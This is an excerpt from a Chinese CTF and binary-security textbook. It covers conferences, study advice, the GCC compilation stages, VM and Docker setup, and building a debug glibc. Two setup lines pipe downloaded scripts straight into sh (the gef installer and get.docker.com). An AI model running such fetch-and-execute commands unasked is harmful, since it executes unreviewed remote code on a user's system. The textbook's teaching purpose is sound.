每年大会都会选定一个独特的主题，设计一个故事并将其贯穿整个会议。2019 年的主题是
“Better”，折射出信息安全领域逐渐转向实践以及不断发展提升、越来越好的愿景。
Black Hat
国际黑帽大会。由知名安全专家 Jeff Moss 于 1997 年创办，最初于每年 7 月至 8 月在拉斯
维加斯举办。经过 20 多年的发展，该会议已经由单次会议转为每年在东京、阿姆斯特丹、拉
斯维加斯、华盛顿等地举办的一系列会议，内容包括了培训、报告和展厅等。
第 1 章
CTF 简介 ┃ XXI
DEFCON
同样由 Jeff Moss 于 1993 年在拉斯维加斯发起，从最初的小型聚会逐步发展为世界性的安
全会议。其特色是弘扬黑客文化，以及进行 DEFCON CTF 决赛。
中国互联网安全大会
简称 ISC（China Internet Security Conference），从 2013 年开始，由中国互联网协会、中
国网络空间安全协会和 360 互联网安全中心等共同主办，是亚太地区规格最高、规模最大、
最有影响力的安全会议之一。
1.2.3
网络安全学术会议
网络安全领域的最新学术成果一般会发表在顶级会议上，四大顶会如下。
CCS(A)：ACM Conference on Computer and Communications Security
NDSS(B)：Network and Distributed System Security Symposium
Oakland S&P(A)：IEEE Symposium on Security & Privacy
USENIX(A)：USENIX Security Symposium
1.3
学习经验
1.3.1
二进制安全入门
二进制安全是一个比较偏向于底层的方向，因此对学习者的计算机基础要求较高，如
C/C++/Python 编程、汇编语言、计算机组成原理、操作系统、编译原理等，可以在 MOOC 上找到很
多国内外著名高校的课程资料，中文课程推荐网易云课堂的大学计算机专业课程体系，英文课程推
荐如下。
Harvard CS50 Introduction to Computer Science
CMU 18-447 Introduction to Computer Architecture
MIT 6.828 Operating System Engineering
Stanford CS143 Compilers
在具备了计算机基础后，二进制安全又可以细分为逆向工程和漏洞挖掘与利用等方向。学习的
目标是掌握各平台上静态反汇编（IDA、Radare2）和动态调试（GDB、x64dbg）工具，能够熟练阅
读反汇编代码，理解 x86、ARM 和 MIPS 二进制程序，特别要注意程序的结构组成和编译运行的细
节。此阶段，大量动手实践是达到熟练的必经之路。推荐资料如下。
Secure Coding in C and C++, 2nd Edition
The Intel 64 and IA-32 Architectures Software Developer’s Manual
ARM Cortex-A Series Programmer’s Guide
第 1 章
CTF 简介 ┃ XXII
See MIPS Run, 2nd Edition
Reverse Engineering for Beginners
《程序员的自我修养——链接、装载与库》
《加密与解密，第 4 版》
接下来，就可以进入软件漏洞的学习了，从 CTF 切入是一个很好的思路。跟随本书的脚步，可
以学习到常见漏洞（溢出、UAF、double-free 等）的原理、Linux 漏洞缓解机制（Stack canaries、NX、
ASLR 等）以及针对这些机制的漏洞利用方法（Stack Smashing、Shellcoding、ROP 等），此阶段还
可以通过读 write-ups 来学习。在掌握了这些基本知识之后，就可以尝试分析真实环境中的漏洞，或
者分析一些恶意样本，推荐资料如下。
RPI CSCI-4968 Modern Binary Exploitation
Hacking: The Art of Exploitation, 2nd Edition
The Shellcoder’s Handbook, 2nd Edition
Practical Malware Analysis
《漏洞战争：软件漏洞分析精要》
有了实践的基础之后，可以学习一些程序分析理论，比如数据流分析（工具如 Soot）、值集分
析（BAP）、可满足性理论（Z3）、动态二进制插桩（DynamoRio、Pin）、符号执行（KLEE、angr）、
模糊测试（Peach、AFL）等。这些技术对于将程序分析和漏洞挖掘自动化非常重要，是学术界和工
业界都在研究的热点。感兴趣的还可以关注一下专注于自动化网络攻防的 CGC 竞赛。推荐资料如下。
UT Dallas CS-6V81 System Security and Binary Code Analysis
AU Static Program Analysis Lecture notes
如果是走学术路线的朋友，阅读论文必不可少，一开始可以读综述类的文章，对某个领域的研
究情况有全面的了解，然后跟随综述去找对应的论文。个人比较推荐会议论文，因为通常可以在作
者个人主页上找到幻灯片，甚至会议录像视频，对学习理解论文很有帮助。如果直接读论文则感觉
会有些困难，这里推荐上海交通大学“蜚语”安全小组的论文笔记。坚持读、多思考，相信量变终
会产生质变。
为了持续学习和提升，还需要收集和订阅一些安全资讯（FreeBuf、SecWiki、安全客）、漏洞披
露（exploit-db、CVE）、技术论坛（看雪论坛、吾爱破解、先知社区）和大牛的技术博客，这一步
可以通过 RSS Feed 来完成。随着社会媒体的发展，很多安全团队和个人都转战到了 Twitter、微博、
微信公众号等新媒体上，请果断关注他们（操作技巧：从某个安全研究者开始，遍历其关注列表，
然后递归，即可获得大量相关资源），通常可以获得最新的研究成果、漏洞、PoC、会议演讲等信息
甚至资源链接等。
最后，我想结合自己以及同学毕业季找工作的经历，简单谈一谈二进制方向的就业问题。首先，
从各种企业的招聘需求来看，安全岗位相比研发、运维和甚至算法都是少之又少的，且集中在互联
网行业，少部分是国企和银行。在安全岗位中，又以 Web 安全、安全开发和安全管理类居多，而二
第 1 章
CTF 简介 ┃ XXIII
进制安全由于企业需求并不是很明朗，因此岗位仅仅存在于几个头部的甲方互联网公司（如腾讯、
阿里等）的安全实验室，以及部分乙方安全公司（如 360、深信服等）中，主要从事安全研究、病毒
分析和漏洞分析等工作，相对而言就业面狭窄，门槛也较高。随着各种漏洞缓解机制的引入和成熟，
软件漏洞即使不会减少，也会越来越难以利用，试想有一天漏洞利用的成本大于利润，那么漏洞研
究也就走到头了。所以，如果不是对该方向有强烈的兴趣和死磕一辈子的决心，考虑到投入产出比，
还是建议选择 Web 安全、安全管理等就业前景更好的方向。好消息是，随着物联网的发展，大量智
能设备的出现为二进制安全提供了新的方向，让我们拭目以待。
1.3.2
CTF 经验
CTF 对于入门者是一种很好的学习方式，通过练习不同类型、不同难度的 CTF 题，可以循序渐
进地学习到安全的基本概念、攻防技术和一些技巧，同时也能获得许多乐趣，并激发出更大的积极
性。其次，由于 CTF 题目中肯定存在人为设置的漏洞，只需要动手将其找出来即可，这大大降低了
真实环境中漏洞是否存在的不确定性，能够增强初学者的信心。
需要注意的是，对于初学者来说，应该更多地将精力放到具有一定通用性和代表性的题目上，
仔细研究经典题目及其 write-up，这样就很容易举一反三；而技巧性的东西，可以在比赛中慢慢积累。
另外，选择适合自身技术水平的 CTF 是很重要的，如果跳过基础阶段直接参与难度过大的比赛，可
能会导致信心不足、陷入自我怀疑当中。
就 CTF 战队而言，由于比赛涉及多个方向的技术，比拼的往往是团队的综合实力，因此，在组
建战队时要综合考虑，使各个面向都相对均衡。赛后也可以在团队内做日常的分析总结，拉近感情、
提升凝聚力。
随着计算机技术的发展、攻防技术的升级，CTF 本身也在不断更新和改进，一些高质量的 CTF
赛事往往会很及时地跟进，在题目中融入新的东西，建议积极参加这类比赛。
1.3.3
对安全从业者的建议
此部分内容是 TK 教主在腾讯玄武实验室内部例会上的分享，看完很有感触，经本人同意，特
转载于此，以飨读者。
1. 关于个人成长
（1）确立个人方向，结合工作内容，找出对应短板
该领域主要专家们的工作是否都了解？
相关网络协议、文件格式是否熟悉？
相关技术和主要工具是否看过、用过？
（2）阅读只是学习过程的起点，不能止于阅读
工具的每个参数每个菜单都要看、要试
第 1 章
CTF 简介 ┃ XXIV
学习网络协议要实际抓包分析，学习文件格式要读代码实现
学习老漏洞一定要调试，搞懂每一个字节的意义，之后要完全自己重写一个 Exploit
细节、细节、细节，刨根问底
2. 建立学习参考目标
（1）短期参考比自己优秀的同龄人。阅读他们的文章和工作成果，从细节中观察他们的学习方
式和工作方式。
（2）中期参考你的方向上的业内专家。了解他们的成长轨迹，跟踪他们关注的内容。
（3）长期参考业内老牌企业和先锋企业。把握行业发展、技术趋势，为未来做积累。
3. 推荐的学习方式
（1）以工具为线索
一个比较省事的学习目录：Kali Linux
学习思路，以 Metasploit 为例：遍历每个子目录，除了 Exploit 里面还有什么？每个工具怎
么用？原理是什么？涉及哪些知识？能否改进优化？能否发展、组合出新的功能？
（2）以专家为线索
你的技术方向上有哪些专家？他们的邮箱、主页、社交网络账号是什么？他们在该方向上
有哪些作品，发表过哪些演讲？跟踪关注，一个一个地学。
4. 如何提高效率
做好预研，收集相关前人成果，避免无谓的重复劳动
在可行性判断阶段，能找到工具就不写代码，能用脚本语言写就不要用编译语言，把完美
主义放在最终实现阶段
做好笔记并定期整理，遗忘会让所有的投入都白白浪费
多和同事交流，别人说一个工具的名字可能让你节约数小时
处理好学习、工作和生活
无论怎么提高效率，要成为专家，都需要大量的时间投入
参考资料
[1]
诸葛建伟. CTF 的过去、现在与未来[Z/OL].
[2]
教育部高等学校信息安全专业教学指导委员会. 2016 年全国大学生信息安全竞赛参赛指南
(创新实践能力大赛)[EB/OL].(2016-05-21).
[3]
LiveOverflow. What is CTF? An introduction to security Capture The Flag competitions[Z/OL].
第 1 章
CTF 简介 ┃ XXV
[4]
Trail of Bits. CTF Field Guide[EB/OL].
[5]
百度百科. ctf(夺旗赛)[EB/OL].
第 2 章
二进制文件 ┃ XXVI
第 2 章
二进制文件
2.1
从源代码到可执行文件
一个 C 语言程序的生命是从源文件开始的，这种高级语言的形式更容易被人理解。然而，要想
在操作系统上运行程序，每条 C 语句都必须被翻译为一系列的低级机器语言指令。最后，这些指令
按照可执行目标文件的格式打包，并以二进制文件的形式存放起来。
本节我们首先回顾编译原理的基础知识，然后以经典著作 The C Programming Language 中的第
一个程序 hello world 为例，讲解 Linux 下默认编译器 GCC（版本 5.4.0）的编译过程。
2.1.1
编译原理
编译器的作用是读入以某种语言（源语言）编写的程序，输出等价的用另一种语言（目标语言）
编写的程序。编译器的结构可分为前端（Front end）和后端（Back end）两部分。前端是机器无关的，
其功能是把源程序分解成组成要素和相应的语法结构，通过这个结构创建源程序的中间表示，同时
收集和源程序相关的信息，存放到符号表中；后端则是机器相关的，其功能是根据中间表示和符号
表信息构造目标程序。
编译过程可大致分为下面 5 个步骤，如图 2-1 所示。
（1）词法分析（Lexical analysis）：读入源程序的字符流，输出为有意义的词素（Lexeme）；
（2）语法分析（Syntax analysis）：根据各个词法单元的第一个分量来创建树型的中间表示形式，
通常是语法树（Syntax tree）；
（3）语义分析（Semantic analysis）：使用语法树和符号表中的信息，检测源程序是否满足语言
定义的语义约束，同时收集类型信息，用于代码生成、类型检查和类型转换；
（4）中间代码生成和优化：根据语义分析输出，生成类机器语言的中间表示，如三地址码。然
后对生成的中间代码进行分析和优化；
（5）代码生成和优化：把中间表示形式映射到目标机器语言。
第 2 章
二进制文件 ┃ XXVII
图 2-1
编译过程
2.1.2
GCC 编译过程
首先我们来看 GCC 的编译过程，hello.c 的源代码如下。
#include <stdio.h>
int main() {
printf("hello, world\n");
}
在编译时添加“-save-temps”和“--verbose”编译选项，前者用于将编译过程中生成的中间文件
保存下来，后者用于查看 GCC 编译的详细工作流程，下面是几条最关键的输出。
$ gcc hello.c -o hello -save-temps --verbose
......
/usr/lib/gcc/x86_64-linux-gnu/5/cc1 -E -quiet -v -imultiarch x86_64-linux-gnu
hello.c -mtune=generic -march=x86-64 -fpch-preprocess -fstack-protector-strong
-Wformat -Wformat-security -o hello.i
......
/usr/lib/gcc/x86_64-linux-gnu/5/cc1 -fpreprocessed hello.i -quiet -dumpbase
hello.c -mtune=generic -march=x86-64 -auxbase hello -version
-fstack-protector-strong -Wformat -Wformat-security -o hello.s
......
as -v --64 -o hello.o hello.s
......
/usr/lib/gcc/x86_64-linux-gnu/5/collect2 -plugin -dynamic-linker
/lib64/ld-linux-x86-64.so.2 -z relro -o hello
/usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/crt1.o
/usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/crti.o
/usr/lib/gcc/x86_64-linux-gnu/5/crtbegin.o -L/usr/lib/gcc/x86_64-linux-gnu/5
第 2 章
二进制文件 ┃ XXVIII
-L/usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu
-L/usr/lib/gcc/x86_64-linux-gnu/5/../../../../lib -L/lib/x86_64-linux-gnu
-L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib
-L/usr/lib/gcc/x86_64-linux-gnu/5/../../.. hello.o -lgcc --as-needed -lgcc_s
--no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed
/usr/lib/gcc/x86_64-linux-gnu/5/crtend.o
/usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/crtn.o
$ ls
hello
hello.c
hello.i
hello.o
hello.s
$ ./hello
hello, world
可以看到，GCC 的编译主要包括四个阶段，即预处理（Preprocess）、编译（Compile）、汇编
（Assemble）和链接（Link），如图 2-2 所示，该过程中分别使用了 cc1、as 和 collect2 三个工具。其
中 cc1 是编译器，对应第一和第二阶段，用于将源文件 hello.c 编译为 hello.s；as 是汇编器，对应第
三阶段，用于将 hello.s 汇编为 hello.o 目标文件；链接器 collect2 是对 ld 命令的封装，用于将 C 语言
运行时库（CRT）中的目标文件（crt1.o、crti.o、crtbegin.o、crtend.o、crtn.o）以及所需的动态链接
库（libgcc.so、libgcc_s.so、libc.so）链接到可执行 hello。
图 2-2
GCC 的编译阶段
2.1.3
预处理阶段
GCC 编译的第一阶段是预处理，主要是处理源代码中以“#”开始的预处理指令，比如“#include”、
“#define”等，将其转换后直接插入程序文本中，得到另一个 C 程序，通常以“.i”作为文件扩展名。
在命令中添加编译选项“-E”可以单独执行预处理：
$ gcc -E hello.c -o hello.i
hello.i 文件的内容如下所示。
# 1 "hello.c"
第 2 章
二进制文件 ┃ XXIX
# 1 "<built-in>"
# 1 "<command-line>"
......
extern int printf (const char *__restrict __format, ...);
......
int main() {
printf("hello, world\n");
}
通过观察我们可以得知预处理的一些处理规则，如下。
递归处理“#include”预处理指令，将对应文件的内容复制到该指令的位置；
删除所有的“#define”指令，并且在其被引用的位置递归地展开所有的宏定义；
处理所有条件预处理指令：“#if”、“#ifdef”、“#elif”、“#else”、“#endif”等；
删除所有注释；
添加行号和文件名标识。
2.1.4
编译阶段
GCC 编译的第二阶段是编译，该阶段将预处理文件进行一系列的词法分析、语法分析、语义分
析以及优化，最终生成汇编代码。在命令中添加编译选项“-S”，操作对象可以是源代码 hello.c，
也可以是预处理文件 hello.i。实际上在 GCC 的实现中，已经将预处理和编译合并处理。
$ gcc -S hello.c -o hello.s
$ gcc -S hello.i -o hello.s -masm=intel -fno-asynchronous-unwind-tables
GCC 默认使用 AT&T 格式的汇编语言，添加编译选项“-masm=intel”可以将其指定为我们熟悉
的 intel 格式。编译选项“-fno-asynchronous-unwind-tables”则用于生成没有 cfi 宏的汇编指令，以提
高可读性。hello.s 文件的内容如下所示。
.file
"hello.c"
.intel_syntax noprefix
.section.rodata
.LC0:
.string "hello, world"
.text
.globl
main
.type
main, @function
main:
push
rbp
mov
rbp, rsp
mov
edi, OFFSET FLAT:.LC0
call
puts
mov
eax, 0
pop
rbp
ret
.size
main, .-main
.ident
"GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609"
第 2 章
二进制文件 ┃ XXX
.section.note.GNU-stack,"",@progbits
值得注意的是，生成的汇编代码中函数 printf()被替换成了 puts()，这是因为当 printf()只有单一
参数时，与 puts()是十分类似的，于是 GCC 的优化策略就将其替换以提高性能。
2.1.5
汇编阶段
GCC 编译的第三阶段是汇编，汇编器根据汇编指令与机器指令的对照表进行翻译，将 hello.s 汇
编成目标文件 hello.o。在命令中添加编译选项“-c”，操作对象可以是 hello.s，也可以从源代码 hello.c
开始，经过预处理、编译和汇编直接生成目标文件。
$ gcc -c hello.c -o hello.o
$ gcc -c hello.s -o hello.o
此时的目标文件 hello.o 是一个可重定位文件（Relocatable File），可以使用 objdump 命令来查
看其内容。
$ file hello.o
hello.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
$ objdump -sd hello.o -M intel
Contents of section .text:
0000 554889e5 bf000000 00e80000 0000b800
UH..............
0010 0000005d c3
...].
Contents of section .rodata:
0000 68656c6c 6f2c2077 6f726c64 00
hello, world.
......
Disassembly of section .text:
0000000000000000 <main>:
0:
55
push
rbp
1:
48 89 e5
mov
rbp,rsp
4:
bf 00 00 00 00
mov
edi,0x0
9:
e8 00 00 00 00
call
e <main+0xe>
e:
b8 00 00 00 00
mov
eax,0x0
13:
5d
pop
rbp
14:
c3
ret
此时由于还未进行链接，对象文件中符号的虚拟地址无法确定，于是我们看到字符串“hello,
world.”的地址被设置为 0x0000，作为参数传递字符串地址的 rdi 寄存器被设置为 0x0，而“call puts”
指令中函数 puts()的地址则被设置为下一条指令的地址 0xe。
2.1.6
链接阶段
GCC 编译的第四阶段是链接，可分为静态链接和动态链接两种。GCC 默认使用动态链接，添加
编译选项“-static”即可指定使用静态链接。这一阶段将目标文件及其依赖库进行链接，生成可执行
文件，主要包括地址和空间分配（Address and Storage Allocation）、符号绑定（Symbol Binding）和
重定位（Relocation）等操作。
第 2 章
二进制文件 ┃ XXXI
$ gcc hello.o -o hello -static
链接操作由链接器（ld.so）完成，结果就得到了 hello 文件，这是一个静态链接的可执行文件
（Executable File），其包含了大量的库文件，因此我们只将关键部分展示如下。
$ file hello
hello: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked,
for GNU/Linux 2.6.32, BuildID[sha1]=4d3bba9e3336550c1af6912f040c1d6f918becb1, not
stripped
$ objdump -sd hello -M intel
......
Contents of section .rodata:
4a1080 01000200 68656c6c 6f2c2077 6f726c64
....hello, world
4a1090 002e2e2f 6373752f 6c696263 2d737461
.../csu/libc-sta
......
00000000004009ae <main>:
4009ae:
55
push
rbp
4009af:
48 89 e5
mov
rbp,rsp
4009b2:
bf 84 10 4a 00
mov
edi,0x4a1084
4009b7:
e8 d4 f0 00 00
call
40fa90 <_IO_puts>
4009bc:
b8 00 00 00 00
mov
eax,0x0
4009c1:
5d
pop
rbp
4009c2:
c3
ret
......
000000000040fa90 <_IO_puts>:
40fa90:
41 54
push
r12
40fa92:
55
push
rbp
40fa93:
49 89 fc
mov
r12,rdi
......
可以看到，通过链接操作，对象文件中无法确定的符号地址已经被修正为实际的符号地址，程
序也就可以被加载到内存中正常执行了。
第 5 章
分析环境搭建 ┃ XXXII
第 5 章
分析环境搭建
5.1
虚拟机环境
对二进制安全研究者而言，搭建一个安全、稳定、可靠且易于迁移的分析环境十分重要。在 CTF
中，我们也常常需要为各种二进制文件准备运行环境。本章我们将分别介绍虚拟机、Docker、QEMU
等环境的搭建以及常用的配置。
5.1.1
虚拟化与虚拟机管理程序
虚拟化（Virtualization）是资源的抽象化，是单一物理资源的多个逻辑表示，具有兼容、隔离的
优良特性。控制虚拟化的软件被称为虚拟机管理程序（Hypervisor），或者 VMM（Virtual Machine
Monitor），使用虚拟机管理程序在特定硬件平台上创建的计算机环境被称为虚拟机（Virtual
Machine），而特定的硬件平台被称为宿主机（Host Machine）。
在恶意代码和漏洞分析过程中常常需要使用虚拟化技术来进行辅助，这不仅可以保护真实的物
理设备环境不被恶意代码攻击、固化保存分析环境以提高工作效率，而且还能够在不影响程序执行
流的情况下动态捕获程序内存、CPU 寄存器等关键数据。
虚拟化技术根据实现技术的不同可以分为以下几类。
操作系统层虚拟化（OS-level Virtualization）：应用于服务器操作系统中的轻量级虚拟化技
术，不能模拟硬件设备，但可以创建多个虚拟的操作系统实例，如 Docker。
硬件辅助虚拟化（Hardware-assisted Virtualization）：由硬件平台对特殊指令进行截获和重
定向，交由虚拟机管理程序进行处理，这需要 CPU、主板、BIOS 和软件的支持。2005 年 Intel
公司提出了 Intel-VT，该技术包括处理器虚拟化技术 Intel VT-x、芯片组虚拟化技术 Intel VT-d
和网络虚拟化技术 Intel VT-c。同时，AMD 公司也提出了自己的虚拟化技术 AMD-V，如
VMware、VirtualBox。
半虚拟化（Para-Virtualization）：通过修改开源操作系统，在其中加入与虚拟机管理程序
协同的代码，但不需要进行拦截和模拟，理论上性能更高，如 Hyper-V、Xen。
全虚拟化（Full Virtualization）：不需要对操作系统进行改动，提供了完整的包括处理器、
内存和外设的虚拟化平台，对虚拟机中运行的高权限指令进行拦截和模拟，保证相关操作被
隔离在当前虚拟机中。通常情况下，全虚拟化对虚拟机操作系统的适配更加简便，如 VMware、
第 5 章
分析环境搭建 ┃ XXXIII
VirtualBox、QEMU。
目前主流的全虚拟化虚拟机管理程序有 VirtualBox 和 VMware Workstation。其中 VirtualBox 是
由 Oracle 公司开发的开源软件，而 VMware Workstation 则是商业化产品，当然我们也可以尝试免费
的 Player 版本，但是缺乏快照以及更高级的虚拟网络管理功能。
基于 x86 的架构设计和 CPU、主板厂商的支持，我们可以很方便地在 PC 上开启硬件虚拟化。
在 PC 的 BIOS 设置中开启虚拟化选项，不同的主板和 CPU（此处指 Intel 与 AMD），其设置可能有
所不同，具体情况请查阅相关操作手册。
5.1.2
安装虚拟机
本书我们选择使用 Ubuntu16.04 amd64 desktop 虚拟机作为工作环境，下面简述如何通过 VMware
Workstation 创建该虚拟机。
首先在 BIOS 设置中开启虚拟化选项，并下载安装 VMware Workstation。系统镜像文件推荐到速
度较快的国内开源镜像站中下载，如清华大学 TUNA。在新建虚拟机向导中选择对应的 ISO 文件，
并对虚拟机名称、用户名、密码和硬件选项等进行设置，耐心等待即可完成安装。对于虚拟机的网
络设置，通常使用桥接模式（独立 IP 地址，虚拟机相当于网络中一台独立的机器，虚拟机之间以及
虚拟机与宿主机之间都可以互相访问）和 NAT 模式（共享主机 IP 地址，虚拟机与宿主机之间可以
互相访问，但与其他主机不能互相访问）。另外，强烈建议安装 VMware Tools，以获得更方便的虚
拟机使用体验，如文件拖曳、共享剪贴板等功能。
虚拟机安装完成后，要做的第一件事情就是更换系统软件源，同样推荐清华大学 TUNA，更换
源的方法请参阅站点的帮助文件。接下来就是安装二进制安全研究或者 CTF 比赛的常用工具，以及
安装 32 位程序的依赖库等，部分安装命令如下所示。
$ sudo dpkg --add-architecture i386
$ sudo apt update && sudo apt upgrade
$ sudo apt install libc6:i386
$ sudo apt install gcc-4.8 cmake gdb socat vim
$ sudo apt install python-dev python-pip python3 python3-dev python3-pip
$ sudo pip install zio pwntools ropgadget capstone keystone-engine unicorn
$ wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
$ sudo wget https://github.com/slimm609/checksec.sh/raw/master/checksec -O
/usr/local/bin/checksec && sudo chmod +x /usr/local/bin/checksec
5.1.3
编译 debug 版本的 glibc
glibc 即 GNU C Library，是 GNU 操作系统的 C 标准库，主要由两部分组成：一部分是头文件，
位于/usr/include；另一部分是库的二进制文件，主要是 C 标准库，分为动态（libc.so.6）和静态（libc.a）
两个版本。通常系统中的共享库均为 release 版本，去除了符号表等调试信息。但有时为了方便调试，
第 5 章
分析环境搭建 ┃ XXXIV
我们就需要准备一份 debug 版本的 glibc。另外，有时 CTF 比赛中二进制程序所需的 libc 版本与我们
本地系统的版本不同（如 libc-2.26.so），那么为了使该程序在本地正常运行，同样也需要配置合适
的 libc。
从服务器中下载 glibc 源码，并切换到所需的分支，这里以 2.26 版本为例。
$ git clone git://sourceware.org/git/glibc.git && cd glibc
$ git checkout glibc-2.26
$ # 编译 64 位
$ mkdir build && cd build
$ ../configure --prefix=/usr/local/glibc-2.26 --enable-debug=yes
$ make -j4 && sudo make install
$ # 或者编译 32 位
$ mkdir build_32 && cd build_32
$ ../configure --prefix=/usr/local/glibc-2.26_32 --enable-debug=yes
--host=i686-linux-gnu --build=i686-linux-gnu CC="gcc -m32" CXX="g++ -m32"
CFLAGS="-O2 -march=i686" CXXFLAGS="-O2 -march=i686"
$ make -j4 && sudo make install
这样 debug 版本的 glibc 就被安装到了/usr/local/glibc-2.26 路径下。如果想要使用该 libc 编译源
代码，那么只需要通过--rpath 指定共享库路径，-I 指定动态链接器就可以了，如下所示。
$ gcc -L/usr/local/glibc-2.26/lib -Wl,--rpath=/usr/local/glibc-2.26/lib
-Wl,-I/usr/local/glibc-2.26/lib/ld-2.26.so hello.c -o hello
$ ldd hello
linux-vdso.so.1 =>
(0x00007ffef3dc7000)
libc.so.6 => /usr/local/glibc-2.26/lib/libc.so.6 (0x00007fe826646000)
/usr/local/glibc-2.26/lib/ld-2.26.so => /lib64/ld-linux-x86-64.so.2
(0x00007fe8269f7000)
那么如何使用该 libc 运行其他已编译的程序呢？随着越来越多的 Pwn 题开始基于新版本的 libc，
这一需求也就产生了。一种方法是直接使用该 libc 的动态链接器。如下所示。
$ /usr/local/glibc-2.26/lib/ld-2.26.so ./hello
hello, world
另一种方法则是替换二进制文件的解释器（interpreter）路径，该路径在程序编译时被写入程序
头（PT_INTERP）。解释器在程序加载时对共享库进行动态链接，此时就需要 libc 与 ld 相匹配，否
则就会出错。使用如下脚本可以很方便地修改 ELF 文件的 PT_INTERP。
import os
import argparse
from pwn import *
def change_ld(binary, ld, output):
if not binary or not ld or not output:
log.failure("Try 'python change_ld.py -h' for more information.")
return None
第 5 章
分析环境搭建 ┃ XXXV
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP")
return None
binary.write(addr, "/lib64/ld-glibc-{}".format(ld).ljust(size, '\0'))
if os.access(output, os.F_OK):
os.remove(output)
binary.save(output)
os.chmod(output, 0b111000000) # rwx------
success("PT_INTERP has changed. Saved temp file {}".format(output))
parser = argparse.ArgumentParser(description='Force to use assigned new ld.so by
changing the binary')
parser.add_argument('-b', dest="binary", help='input binary')
parser.add_argument('-l', dest="ld", help='ld.so version')
parser.add_argument('-o', dest="output", help='output file')
args = parser.parse_args()
change_ld(args.binary, args.ld, args.output)
在运行脚本之前需要先创建一个 ld 的符号链接，然后根据需求添加命令行参数，如下所示。
$ sudo ln -s /usr/local/glibc-2.26/lib/ld-2.26.so /lib64/ld-glibc-2.26
$ python change_ld.py -h
usage: change_ld.py [-h] [-b BINARY] [-l LD] [-o OUTPUT]
Force to use assigned new ld.so by changing the binary
optional arguments:
-h, --help
show this help message and exit
-b BINARY
input binary
-l LD
ld.so version
-o OUTPUT
output file
$ python change_ld.py -b hello -l 2.26 -o hello_debug
[+] PT_INTERP has changed. Saved temp file hello_debug
$ file hello
hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=e066fc51f4d1f584bf6f4e61429fe45bce772176, not stripped
$ file hello_debug
hello_debug: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-glibc-2.26, for GNU/Linux 2.6.32,
BuildID[sha1]=e066fc51f4d1f584bf6f4e61429fe45bce772176, not stripped
当我们需要进行源码调试（特别是调试堆利用漏洞时），可以使用 gdb 命令 directory，但这种
第 5 章
分析环境搭建 ┃ XXXVI
方法只能制定单个文件或目录，而不能解析子目录，所以推荐使用下面这条 bash 命令在启动调试器
时加载源码。
$ gdb `find ~/path/to/glibc/source -type d -printf '-d %p '` ./a.out
5.2
Docker 环境
5.2.1
容器与 Docker
容器化（Containerization），也被称为基于容器（Linux Containers，LXC）的虚拟化和应用容器
化，是 Linux 上一种用于部署和运行应用的操作系统级虚拟化方法。一个宿主机上可以运行多个相
互隔离的容器，每个容器拥有单独的内核，可以看作是一个简易的 Linux 环境及环境中运行的应用
程序。
Docker 是当前一个主流的开源应用容器引擎，通过让开发者打包他们的应用以及依赖包到容器
中，即可将标准化的业务程序部署到任意生产环境中，使得开发者无须再关心生产环境的差异，实
现快速的自动打包和部署。
由于容器使用进程级别的隔离，并使用宿主机的内核，而没有对整个操作系统进行虚拟化，因
此和虚拟机相比，它的隔离性较差，但启动部署都更加便捷，具有可移植性。Docker 容器与虚拟机
的差别如图 5-1 所示。
图 5-1
Docker 容器与虚拟机的差别
容器是通过一个镜像（Image）来启动的，其状态包括运行、停止、删除和暂停。
镜像是一个可执行程序包，包含了运行应用程序所需的所有内容，如代码、运行时库、环境变
量和配置文件等。镜像可以看成是容器的模版，Docker 根据镜像来创建容器，且同一个镜像文件可
以创建多个容器。
通常一个镜像文件是通过继承另一个镜像文件，并加上一些个性化定制的东西而得到的，例如
在 Ubuntu 镜像中集成 Apache 服务器，就得到了一个新的镜像。为了方便镜像文件的共享，可以将
制作好的镜像文件上传到仓库（Repository），这是一个系统中存放镜像文件的地方，可分为公开仓
库和私有仓库两种。其中，Docker Hub 是 Docker 的官方仓库，从中可以找到我们需要的镜像和应用。
第 5 章
分析环境搭建 ┃ XXXVII
Dockerfile 是一个文本文件，内含多条指令（Instruction），相当于是镜像文件的配置信息。Docker
会根据 Dockerfile 来生成镜像文件。
5.2.2
Docker 安装及使用
Docker 有免费使用的社区版（Community Edition，CE）和付费服务的企业版（Enterprise Edition，
EE）两个版本，个人用户使用社区版即可。Ubuntu16.04 使用下面的命令即可安装并启用服务（服务
器-客户端架构），将普通用户加入 Docker 用户组可以避免每次命令都输入 sudo。
$ curl -s https://get.docker.com/ | sh
# 安装
$ service docker start
# 启用
$ sudo usermod -aG docker firmy
# 添加组用户
$ docker version
Client:
Version:
18.09.5
API version:
1.39
Go version:
go1.10.8
Git commit:
e8ff056
Built:
Thu Apr 11 04:44:24 2019
OS/Arch:
linux/amd64
Experimental:
false
Server: Docker Engine - Community
......
下面以 hello-world 和 ubuntu 镜像文件为例，演示 Docker 的一些基本操作。
$ # 抓取镜像文件
$ docker image pull library/hello-world
Using default tag: latest
latest: Pulling from library/hello-world
1b930d010525: Pull complete
Digest: sha256:92695bc579f31df7a63da6922075d0666e565ceccad16b59c3374d2cf4e8e50e
Status: Downloaded newer image for hello-world:latest
$ # 查看本地镜像文件
$ docker image ls
REPOSITORY
TAG
IMAGE ID
CREATED
SIZE
hello-world
latest
fce289e99eb9
3 months ago
1.84kB
$ # 生成容器并运行，该容器输出信息后自动终止
$ docker run hello-world
$ # 启动一个不会自动终止的 Ubuntu 容器
$ docker run -it ubuntu /bin/bash
root@68a2e4a54e74:/# uname -a
